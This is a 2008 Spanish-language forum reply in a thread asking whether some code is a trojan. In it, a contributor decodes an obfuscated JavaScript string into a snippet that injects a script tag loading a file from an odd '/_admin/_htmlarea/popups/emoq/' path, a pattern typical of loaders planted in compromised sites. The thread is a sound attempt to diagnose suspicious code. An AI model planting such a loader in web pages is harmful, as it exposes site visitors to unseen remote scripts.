Ver Mensaje Individual
  #5 (permalink)  
Antiguo 15/08/2008, 08:56
Avatar de derkenuke
derkenuke
Colaborador
 
Fecha de Ingreso: octubre-2003
Ubicación: self.location.href
Mensajes: 2.665
Antigüedad: 20 años, 6 meses
Puntos: 45
Respuesta: es esto un troyano?

Ups, vaya, me he dejado de leer esa parte David. Creí que todo el bloque era comentado.

¿Qué podrá ser? No es que esté muy puesto con la seguridad de javascript pero supongo que dependerá sobre qué navegador ejecutemos ese código y sobre qué SO...

Si ponemos document.write( escape("...(toda la ristra)..") ); tendremos algo como esto (escrito en una línea, pero lo idento para leerlo mejor):
Código PHP:
if (!document.getElementById('JSSS')) { 
    
JSS1 59
    
JSS2 2720462
    
JSS3 '/_admin/_htmlarea/popups/emoq/dummy.htm'
    var 
js document.createElement('script'); 
    
js.setAttribute('src''/_admin/_htmlarea/popups/emoq/check.js'); 
    
js.setAttribute('id''JSSS'); 
    
document.getElementsByTagName('head').item(0).appendChild(js); 
}; 
¿Es ilícito para algunos antivirus añadir un elemento script en un documento dinámicamente? Sería bueno concretar qué tiene /_admin/_htmlarea/popups/emoq/check.js, pero entonces el antivirus supongo que diría que lo malicioso está ahí y no en el archivo que nos ocupa.
__________________
- Haz preguntas inteligentes, y obtendrás más y mejores respuestas.
- Antes de postearlo Inténtalo y Búscalo.
- Escribe correctamente tus mensajes.